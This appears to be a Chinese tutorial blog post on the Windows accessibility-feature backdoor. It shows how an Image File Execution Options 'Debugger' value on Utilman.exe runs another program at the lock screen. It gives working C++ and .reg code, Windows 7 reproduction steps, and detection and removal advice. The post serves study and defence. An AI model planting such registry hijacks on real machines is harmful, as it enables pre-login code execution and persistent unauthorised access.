代码及原理介绍

为了使电脑更易于使用和访问,Windows添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。

一些常见的辅助功能如:

  • C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次shift键
  • C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U键

在较早的Windows版本,只需要进行简单的二进制文件替换,比如,程序” C:\Windows\System32\utilman.exe”可以替换为“cmd.exe”。

对于在Windows Vista和Windows Server 2008及更高的版本中,替换的二进制文件受到了系统的保护,因此这里就需要另一项技术:映像劫持。

映像劫持,也被称为“IFEO”(Image File Execution Options)。当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行,并运行自己的程序。造成映像劫持的罪魁祸首就是参数“Debugger”,它是IFEO里第一个被处理的参数,系统如果发现某个程序文件在IFEO列表中,它就会首先来读取Debugger参数,如果该参数不为空,系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为Debugger参数里指定的程序文件名的参数发送过去。参数“Debugger”本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。现在却成了病毒的攻击手段。简单操作就是修改注册表,在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”中添加utilman.exe项,在此项中添加debugger键,键值为要启动的程序路径。

注意:Windows NT 和WindowsNT不一样!!!!

C++ 实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream> 
#include <Windows.h>
using namespace std;

int test()
{
DWORD dwDisposition;
HKEY hKey;
const char path[] = "C:\\hello.exe";
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
return 0;
}

int main()
{
test();
//system("pause");
return 0;
}

当然,我们自己的程序要放到相应的路径。

复现过程

镜像劫持可由多种脚本进行完成,上面是利用C++的脚本,而下面则是reg注册表文件进行完成。另有其他方法,如:VBS等。

注册表代码如下:

1
2
3
Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe]
"Debugger"="C://hello.exe"

这段代码就是截取windows+U快捷键来运行自己想要运行的程序。Utilman.exe可以替换为自己想要截取的软件,hello.exe则是自己想要运行的文件。

首先将代码保存为reg文件,然后将hello.exe放入C盘根目录,以管理员身份运行注册表文件。

运行完后会添加如下健和值2

在锁屏状态下效果图如下:

3

本次复现在windows 7 sp1环境下进行,其他系统请自行测试。经测试,windows 10 1809已经不能实现。

检查及清除方法

检查“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image

File Execution Option”注册表路径中的程序名称

其它适用于的辅助功能还有:

  • 屏幕键盘:C:\Windows\System32\osk.exe
  • 放大镜:C:\Windows\System32\Magnify.exe
  • 旁白:C:\Windows\System32\Narrator.exe
  • 显示开关:C:\Windows\System32\DisplaySwitch.exe
  • 应用程序开关:C:\Windows\System32\AtBroker.exe
  • 现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

本文复现主要用来学习,请勿用于非法用途。